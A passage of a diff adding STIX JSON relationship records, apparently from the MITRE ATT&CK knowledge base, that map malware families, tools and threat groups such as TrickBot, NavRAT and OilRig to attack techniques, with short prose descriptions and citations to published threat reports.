"malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "source_name": "Symantec Suckfly May 2016", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) can obtain the date and time of a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--33e3573b-0f18-417c-be17-727863fc21ec", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Orz](https://attack.mitre.org/software/S0229) can download files onto the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--73db6a54-2270-431b-b7eb-2c5c71389637", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Orz](https://attack.mitre.org/software/S0229) has used Technet and Pastebin web pages for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1a04e8c4-f697-446b-810a-8162ad7353ef", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.146Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9420e9de-cc4c-4d5c-b40f-02c57dcc4fd9", + "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[S-Type](https://attack.mitre.org/software/S0085) primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) uses a command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fc3ec682-31cc-4e74-8d04-a5fdef9e8410", + "source_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "modified": "2019-06-07T15:40:16.271Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts collected data with AES and Base64 and then sends it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ab62293d-8f89-46b5-bab1-f7b564f5996f", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.721Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "In one instance, [menuPass](https://attack.mitre.org/groups/G0045) added [PlugX](https://attack.mitre.org/software/S0013) as a service with a display name of \"Corel Writing Tools Utility.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:16.016Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) loads malicious shellcode and executes it in memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6454c008-39fc-44b5-b697-6637b4b78c0e", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to search for files on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--30ab931e-9cc1-4e95-a3f5-364be094b54e", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) copies itself into a running Internet Explorer process to evade detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--81bace85-005e-4edd-bb71-ca7a57bc8a07", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to set up a proxy tunnel to allow remote host access to an infected host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). Fileless attacks against enterprise networks. Retrieved February 8, 2017.", + "source_name": "Securelist fileless attacks Feb 2017", + "url": "https://securelist.com/fileless-attacks-against-enterprise-networks/77403/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) can download remote files onto victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8e9f95f0-4939-4e74-9073-70efddddff50", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.580Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) injects into the svchost.exe process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e0ce4a5f-ac3b-4d61-b540-c5c3c434beb0", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.996Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "source_name": "Trend Micro Totbrick Oct 2016", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + }, + { + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "source_name": "Microsoft Totbrick Oct 2017", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to obtain a listing of running processes (including loaded modules).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) has used stolen certificates to sign its malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.074Z", + "id": "relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "modified": "2019-03-25T16:59:47.276Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants install .dll files as services with names generated by a list of hard-coded strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c73fd631-245d-4b19-811f-2999e3d44182", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to find information about the operating system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Dir. Retrieved April 18, 2016.", + "source_name": "TechNet Dir", + "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can collect the IP address from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.019Z", + "id": "relationship--2251e15a-5b62-408d-b6a0-01aa8e2677b3", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.488Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--77f9936d-1ba7-42a8-879d-1a6e90156366", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.589Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) captures window titles.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f436f533-1116-499f-b073-9cc7698e18b0", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "One variant of [CloudDuke](https://attack.mitre.org/software/S0054) uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f", + "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory CSIDL_APPDATA\\microsoft\\security.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used keyloggers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f39446a9-07d1-456a-b48b-241aab979e55", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.498Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors used a victim's endpoint management platform, Altiris, for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.063Z", + "id": "relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "modified": "2019-03-25T17:01:21.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) determines a working directory where it stores all the gathered data about the compromised machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--59193fff-6bea-41c6-b744-36850e6cc39a", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) can capture screenshots of the desktop over multiple monitors.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e67e4cbe-e8f6-433b-a1d2-e869c35f6a52", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) encodes commands from the control server using a range of characters and gzip.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--78f8338a-ac4e-42cf-a887-cc35e842dc11", + "source_ref": 